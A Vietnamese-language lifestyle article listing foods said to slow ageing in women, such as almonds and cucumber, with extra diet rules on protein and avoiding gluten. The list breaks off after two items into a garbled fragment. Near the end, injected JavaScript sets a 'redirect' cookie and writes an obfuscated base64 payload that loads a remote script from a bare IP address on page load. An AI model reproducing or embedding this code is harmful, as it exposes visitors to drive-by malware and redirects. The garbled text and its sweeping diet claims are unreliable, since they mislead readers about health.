7 món quen thuộc được mệnh danh là thực phẩm vàng giúp phụ nữ trẻ ra cả 10 tuổi

Dù là quá trình tự nhiên chẳng ai có thể né tránh nỗi nhưng lão hóa vẫn con người vẫn có thể tự mình ngăn chặn lão hóa đến nhanh chỉ cần biết cách. Ngay cả với những biện pháp đơn giản, tự nhiên trong lối sống hằng ngày cũng chính là bí quyết hay hơn cả triệu phương pháp căng da tại tiệm.

Theo các nhà khoa học một trong những bí quyết hiệu quả giúp giảm thiểu sự lão hóa cho cơ thể chính là tập cho bản thân thói quen ăn uống khoa học. Khoa học ở đây có nghĩa là bạn biết tiếp nhận những thực phẩm tốt và cần thiết cho cơ thể, giúp tác động và tăng lượng collagen cho cơ thể một cách tốt nhất, thúc đẩy các tế bào tự sản sinh và phát triển, bên cạnh đó hạn chế nạp những thức ăn có hại cho da, cho toàn bộ sự vận hành của cơ thể khiến lão hóa vì thế diễn ra nhanh hơn.

Top 7 thực phẩm vàng được gợi ý giúp cơ thể trẻ lâu hơn:

1. Hạnh nhân:

Khi nói đến các loại hạt thì hạnh nhân chính là nữ hoàng. Nó không chỉ làm giảm bớt lượng cholesterol có hại trong cơ thể mà còn chứa nhiều chất dinh dưỡng có lợi cho hệ tim mạch như: Magie, vitamin E…

Đặc biệt, chất flavonoids được tìm thấy trong hạnh nhân có tác dụng chống lão hóa, giúp các tế bào trong cơ thể được bảo vệ, tránh tổn thương. Đối với làn da phụ nữ, hạnh nhân có tác dụng cải thiện cấu trúc bề mặt da, làm chậm quá trình lão hóa da.

Nó không chỉ tốt cho cơ thể của bạn mà còn cho tóc, da và sức khỏe của bộ não, tăng khối lượng cơ, giảm lượng cholesterol trên cả tuyệt vời.

2. Dưa chuột:

Dưa chuột (dưa leo) là loại rau củ cùng họ với bí đỏ, dưa hấu. Trong dưa chuột có chứa nhiều vitamin B, C, K, đồng, kali, mangan, các polyphenol đặc biệt và nhiều hợp chất khác… đưa đến rất nhiều lý do hợp lý và không thể chối cãi cho việc vì sao chúng ta, nhất là phụ nữ, nên thường xuyên và đều đặn ăn loại rau quả này.

Vitamin C và axit caffeic trong dưa chuột hoạt động như chất chống oxy hóa có thể giúp làm chậm sự xuất hiện của các dấu hiệu lão hóa. Chúng còn có tác dụng như là một loại thuốc lợi tiểu tự nhiên, giúp tăng độ ẩm và nước cho cơ thể, cân bằng độ axit thông qua làm sạch và rửa sạch các độc tố và axit có hại trong cơ thể.



m mức axit và thậm chí để chống lại các hợp chất gây ra sỏi thận.

Ngoài ra 1 số quy tắc bạn cần nắm thêm: Để protein chiếm đa số trong chế độ ăn của bạn

Protein đóng vai trò quan trọng trong việc sửa chữa và tái tạo các mô. Collagen, một trong những loại protein quý giá nhất trong cơ thể giúp da, tóc và móng thực sự khỏe mạnh.

Lựa chọn thực phẩm không chứa gluten

Chọn lựa những thực phẩm không chứa gluten như gạo, hạt diêm mạch (còn gọi là hạt quinoa), đồng thời từ bỏ các loại bánh mỳ, mỳ ống và thay thế chúng bằng rau, củ, quả nhiều vitamin sẽ khiến cơ thể bạn trẻ khỏe hơn.

Gluten là tên gọi chung của một loại protein có trong một số loại ngũ cốc và có nhiều nhất trong lúa mỳ. Nó ảnh hưởng tới quá trình hấp thu và tiêu hóa các chất khoáng trong đường ruột, làm mất đi lượng khoáng chất cũng như các chất dinh dưỡng cần thiết để duy trì tuổi thọ của da. #(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.